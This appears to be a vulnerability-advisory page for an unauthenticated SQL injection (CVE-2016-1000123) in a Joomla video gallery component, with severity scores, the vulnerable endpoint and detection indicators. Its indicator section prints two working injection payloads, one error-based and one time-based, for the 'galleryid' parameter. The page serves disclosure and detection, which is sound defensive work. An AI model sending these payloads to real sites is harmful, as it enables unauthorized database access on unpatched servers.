CVE-2016-1000123

published 2016-10-06

CVE-2016-1000123: Unauthenticated SQL Injection in Huge-IT Video Gallery v1.0.9 for Joomla

Priority P2 63 critical 9.8 CVSS 3.0

AV N AC L PR N UI N S U C H I H A H

EXPLOIT

Unauthenticated SQL Injection in Huge-IT Video Gallery v1.0.9 for Joomla

Affected

1 ranges

Vendor	Product	Version range	Fixed in
huge-it	video_gallery	—	—

Detection & IOCs extracted from sources · hover to see the quote

url http://server/components/com_videogallerylite/ajax_url.php↗

path /components/com_videogallerylite/ajax_url.php↗

command page=1&galleryid=-3390 OR 1 GROUP BY CONCAT(0x716b766271,(SELECT (CASE WHEN (2575=2575) THEN 1 ELSE 0 END)),0x7170767071,FLOOR(RAND(0)*2)) HAVING MIN(0)#&task=load_videos_content&perpage=20&linkbutton=2↗

command page=1&galleryid=(CASE WHEN (5952=5952) THEN SLEEP(5) ELSE 5952 END)&task=load_videos_content&perpage=20&linkbutton=2↗

filename ajax_url.php↗

• → A high rate of HTTP 500 Internal Server Error responses from the target endpoint during a short window is a strong indicator of active sqlmap-driven exploitation of this vulnerability. ↗
• → The vulnerability is unauthenticated — no session cookie or login is required. Any source IP sending POST data with SQL payloads in 'galleryid' to ajax_url.php should be treated as malicious. ↗

• · The vulnerable file ajax_url.php is directly web-accessible and bypasses Joomla's normal component routing, meaning standard Joomla access-control checks do not apply to it. ↗
• · The fix was introduced in v1.1.0; installations still running v1.0.9 of com_videogallerylite remain fully exposed to unauthenticated exploitation. ↗

CVSS provenance

nvd v3.0 9.8 CRITICAL CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

nvd v2.0 7.5 HIGH AV:N/AC:L/Au:N/C:P/I:P/A:P

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